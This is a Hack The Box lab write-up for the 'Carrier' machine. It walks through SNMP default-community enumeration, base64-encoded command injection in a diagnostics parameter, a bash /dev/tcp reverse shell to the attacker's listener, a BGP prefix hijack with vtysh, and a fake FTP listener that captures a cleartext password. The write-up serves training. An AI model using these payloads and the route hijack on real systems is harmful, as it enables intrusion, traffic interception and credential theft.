Hack The Box - Carrier

9 minute read

CarrierImage


Summary:


This machine had some interesting elements to it and really made you think outside of the box. It incorporated a number of elements which you wouldn’t typically see in a typical penetration test, and instead gave you the feeling of working for a telecom company, or being a nation backed actor altering BGP routes and intercepting plaintext login attempts.

Gaining Access Elevating Privileges
Common named subdirectories Enumerate hosts
Open file directory Locate FTP server
Useful error messages Broadcast specific BGP route
Default public SNMP community string Pose as FTP server
Vulnerable web application Reuse FTP credentials for SSH

Write-up

Starting out I performed a standard common Nmap scan to find TCP services.

nmap -sC -sV -oA nmap 10.10.10.105

This revealed there was a web service which lead me to a Lyghtspeed login panel with a couple of error codes.

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

LoginPage

Common named subdirectories

After attempting common username and passwords and failing, I decided to enumerate the website some more. By using Gobuster:

gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.105

I quickly enumerated some interesting subdirectories:

/img (Status: 301)
/tools (Status: 301)
/doc (Status: 301)
/css (Status: 301)
/js (Status: 301)

The tools subdirectory had a file called remote.php, by attempting to access it I received an interesting message:

http://10.10.10.105/tools/remote.php

License expired, exiting…

Open file directory

Interesting, now looking into the doc subdirectory I found 2 files of interest:

diagram_for_tac.png	2018-07-02 20:46 	35K
error_codes.pdf	2018-07-02 18:11 	70K	 

Assuming they may come in handy, I saved them for later. The error_codes.pdf file was of particular use.

LoginPage

Useful error messages

Thinking back to the login page, a couple of error codes were present which I now had some context to:

Error 45007

Error 45009

Error 45007 now gives context to the remote.php file I viewed earlier, the license was expired on this system hence the previous message.

Of more interest was error 45009.

System credentials have not been set

Default admin user password is set (see chassis serial number)

From this I now knew that the default admin password was the chassis serial number, thinking there would be a picture of it somewhere I enumerated the website some more but with little luck.

Running into dead ends I went back to Nmap and decided to see if there were any services running over UDP.

nmap -sC -sV -sU -oA nmapUDP 10.10.10.105

Default public SNMP community string

161/udp   open          snmp    SNMPv1 server; pysnmp SNMPv3 server (public)
| snmp-info:
|   enterprise: pysnmp
|   engineIDFormat: octets
|   engineIDData: 77656201f30908
|   snmpEngineBoots: 2
|_  snmpEngineTime: 19m34s

This revealed that the device was in fact running snmp and it used the default read-only Community string of ‘public’.

Wondering if there were any variables that could be obtained using this community string I used SNMPWalk to find out.

snmpwalk -c public 10.10.10.105 -v 1

iso.3.6.1.2.1.47.1.1.1.1.11 = STRING: “SN#NET_45JDX23”

Bingo, this looked strangely like a serial number as indicated by ‘SN#’ From here I now had credentials to login:

http://10.10.10.105
admin
NET_45JDX23

Vulnerable web application

Looking around I noticed there was a diagnostics tab which seemed like an interesting area, and by clicking ‘Verify Status’ there were some unique responses:

DiagnosticsPanel

quagga 14015 0.0 0.0 24500 1900 ? Ss 07:50 0:00 /usr/lib/quagga/zebra –daemon -A 127.0.0.1

quagga 14019 0.0 0.1 29444 2984 ? Ss 07:50 0:00 /usr/lib/quagga/bgpd –daemon -A 127.0.0.1

root 14024 0.0 0.0 15432 164 ? Ss 07:50 0:00 /usr/lib/quagga/watchquagga –daemon zebra bgpd

This seemed to be user process information as indicated by the name quagga and root. Given this appeared to be taking some kind of input and retrieving information from the server, I fired up Burpsuite and intercepted the request made by clicking ‘Verify Status’.

InterceptedQuery

There was a ‘check’ parameter being sent:

check=cXVhZ2dh

By sending this string to Burpsuite’s ‘Decoder’ and base64 decoding it, the end result was:

quagga

Very interesting, so this seemed to be what I was sending to the server, and based on the results received previously it was a good bet that the server was simply looking for any processes containing the string ‘quagga’.

This seemed like a perfect spot to inject some commands, so I decided to break out of the standard command executed by using ‘;’ and then injecting my own arbitraty commands.

To do this I first base64 encoded some Linux commands to see if my assumption was right and figure out where I was, and what user account this process was running under.

quagga;pwd;whoami
cXVhZ2dhO2NhdCB1c2VyLnR4dA==

This was then sent to the server via the ‘check’ parameter.

check=cXVhZ2dhO3B3ZDt3aG9hbWk=

base64decode

Gaining Access

At this point I not only knew exactly where I was injecting commands, and what the server had processed based on the response.

bash -c ps waux grep quagga;pwd;whoami grep -v grep

But I’d also successfully injected my commands based on the directory listing and username received.

/root

root

CodeInjection

Figuring I could easily compromise this box, I checked to see if I could read the user.txt file using this method.

quagga;cat user.txt
check=cXVhZ2dhO2NhdCB1c2VyLnR4dA==

Bingo, the contents of the user.txt file fell straight out.


User.txt: 5649c41df5 redacted 7f2be


Now that I had obtained user.txt and I knew I could inject commands, it was time to get a reverse shell: First I setup my listener using the Metasploit Framework (Although Netcat could have easily been used for this, I wasn’t sure if I’d need a feature rich reverse shell, so took the easy way out).

msfconsole
Use exploit/multi/handler
set LHOST 10.10.13.168
set LPORT 4444
exploit

I then sent a reverse shell payload using bash to initiate a connection back to my machine.

quagga;bash -i >& /dev/tcp/10.10.13.168/4444 0>&1
check=cXVhZ2dhO2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTMuMTY4LzQ0NDQgMD4mMQ==

Excellent, at this point I had access to the Root user, but there was no root flag. Thinking I’d need to now pivot and compromise another machine, it was back to enumeration.

Enumerate hosts

I natively attempted to enumerate hosts by sending ICMP packets to the the broadcast address and then reading the ARP table for any positive responses.

ping -b -c 3 255.255.255.255 >/dev/null 2>&1; arp -an | awk '{print $2}'

(10.99.64.251) (10.99.64.1) (10.78.10.2) (10.78.11.2)

Well this was a start, checking the running processes, I noticed a reference to bgpd and quagga, something I had overlooked when I was previously using the ‘Verify Status’ function.

quagga 29250 0.0 0.0 24500 1920 ? Ss 11:50 0:00 /usr/lib/quagga/zebra –daemon -A 127.0.0.1

quagga 29254 0.0 0.1 29444 2844 ? Ss 11:50 0:00 /usr/lib/quagga/bgpd –daemon -A 127.0.0.1

Now besides a Quagga being a Zebra from South Africa, it was also the name of routing software. So by taking the reference to ‘bgpd’ (BGP Daemon perhaps?) and checking the routing table:

route -n

Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         10.99.64.1      0.0.0.0         UG    0      0        0 eth0
10.78.10.0      *               255.255.255.0   U     0      0        0 eth1
10.99.64.0      *               255.255.255.0   U     0      0        0 eth0
10.100.10.0     10.78.10.2      255.255.255.0   UG    0      0        0 eth1
10.100.11.0     10.78.10.2      255.255.255.0   UG    0      0        0 eth1
10.100.12.0     10.78.10.2      255.255.255.0   UG    0      0        0 eth1
10.100.13.0     10.78.10.2      255.255.255.0   UG    0      0        0 eth1
10.100.14.0     10.78.10.2      255.255.255.0   UG    0      0        0 eth1
10.100.15.0     10.78.10.2      255.255.255.0   UG    0      0        0 eth1
10.100.16.0     10.78.10.2      255.255.255.0   UG    0      0        0 eth1
10.100.17.0     10.78.10.2      255.255.255.0   UG    0      0        0 eth1
10.100.18.0     10.78.10.2      255.255.255.0   UG    0      0        0 eth1
10.100.19.0     10.78.10.2      255.255.255.0   UG    0      0        0 eth1
10.100.20.0     10.78.10.2      255.255.255.0   UG    0      0        0 eth1
10.120.10.0     10.78.10.2      255.255.255.0   UG    0      0        0 eth1
10.120.11.0     10.78.10.2      255.255.255.0   UG    0      0        0 eth1
10.120.12.0     10.78.10.2      255.255.255.0   UG    0      0        0 eth1
10.120.13.0     10.78.10.2      255.255.255.0   UG    0      0        0 eth1
10.120.14.0     10.78.10.2      255.255.255.0   UG    0      0        0 eth1
10.120.15.0     10.78.10.2      255.255.255.0   UG    0      0        0 eth1
10.120.16.0     10.78.10.2      255.255.255.0   UG    0      0        0 eth1
10.120.17.0     10.78.10.2      255.255.255.0   UG    0      0        0 eth1
10.120.18.0     10.78.10.2      255.255.255.0   UG    0      0        0 eth1
10.120.19.0     10.78.10.2      255.255.255.0   UG    0      0        0 eth1
10.120.20.0     10.78.10.2      255.255.255.0   UG    0      0        0 eth1

This lead me to believe I needed to perform a level of BGP hijacking to complete this box. What helped solidify this was the ‘Tickets’ tab of the information system, and the previously obtained diagram_for_tac.png.

BGPRouting

A key piece of information which stood out in the ticket system was:

VIP is having issues connecting by FTP to an important server in the 10.120.15.0/24 network

VIPHelpSystem

Locate FTP server

Okay, so I now needed to know what IP was present on this network and hosting a FTP service as this was going to be my target, so it was back to enumeration. This time I sent ICMP packets again but checked all IP’s on the 10.120.14.x network from 1 to 255, which revealed 2 potential candidates.

for i in $(seq 1 255); do (ping -c 1 10.120.15.$i) | tr \\n ' ' | awk '/1 received/ {print $2}'; done

10.120.15.1

10.120.15.10

Attempting to connect to them via netcat soon revealed which one was my target.

nc 10.120.15.1 21

no response

nc 10.120.15.10 21

220 (vsFTPd 3.0.3)

Excellent, now knowing my target, I needed to read up on BGP hijacking. A great exercise and explanation can be found here:

https://www.isi.deterlab.net/file.php?file=/share/shared/BGPhijacking

“The BGP protocol does not specify an authentication mechanism to verify routes. What this means is that any BGP router can announce any prefix as if it owns that prefix, or it could modify the route associated with a prefix to make it more preferable to its neighbors.”

From this explanation, I just needed to know how to interact with the Quagga BGP service, along came the manual for vtysh.

https://linux.die.net/man/1/vtysh

Broadcast specific BGP route

I first proceeded to check the BGP topology to see what was currently being advertised.

sudo vtysh -c "show ip bgp"

RouteTable

From this route table I could see that AS300 was advertising the 10.120.15.0/24 prefix. This left 2 potential routes to get to 10.120.15.0/24 (via the AS300 router, or via the AS200 router, and then the AS300 router).

To successfully perform a BGP Hijacking attack, my aim was to advertise a more specific route than 10.120.15.0/24 which I know is currently being advertised, this way traffic should be routed to AS100 (the router I control) at which point I could then (hopefully) capture FTP login credentials flowing through in the clear.

Entering an interactive vtysh session, I changed the BGP routes by broadcasting a more specific prefix, 10.120.15.0/25, (notice the increase from /24 to /25 thus making it more specific) from AS100.

vtysh
conf t
router bgp 100
network 10.120.15.0/25
end
exit

Pose as FTP server

I then restarted my interface to refresh these changes and changed my IP to the FTP server previously identified which was being targeted by the VIP.

ifconfig eth2 10.120.15.10 netmask 255.255.255.0 up

I then setup a listener pose as a FTP server, awaiting for a connection.

nc -lvp 21

After a short amount of time I was in luck, I had a connection.

I then had to follow-out the standard response commands as per the ftp standard.

200
331 password required for ftp

Shortly after specifying this I received a password.

BGPtelc0rout1ng

Reuse FTP credentials for SSH

Success! I had successfully executed BGP Hijacking to steal credentials sent in the clear.

As it turns out authenticating to the FTP wasn’t how to compromise the root user, and this password actually needed to be used to SSH into the original Carrier server as the root user. So after using this information.

ssh [email protected]
BGPtelc0rout1ng

Elevating Privileges

I found my prize, and what appeared to be an easter egg hash created by the author called secretdata.txt

Last login: Wed Sep 5 14:32:15 2018

ls

root.txt secretdata.txt

cat secretdata.txt

56484 … 13d3d

cat root.txt

root.txt: 2832e … d4866


Final Notes

At the time of writing other HTB members had rated the machine elements as shown below.

Heatmap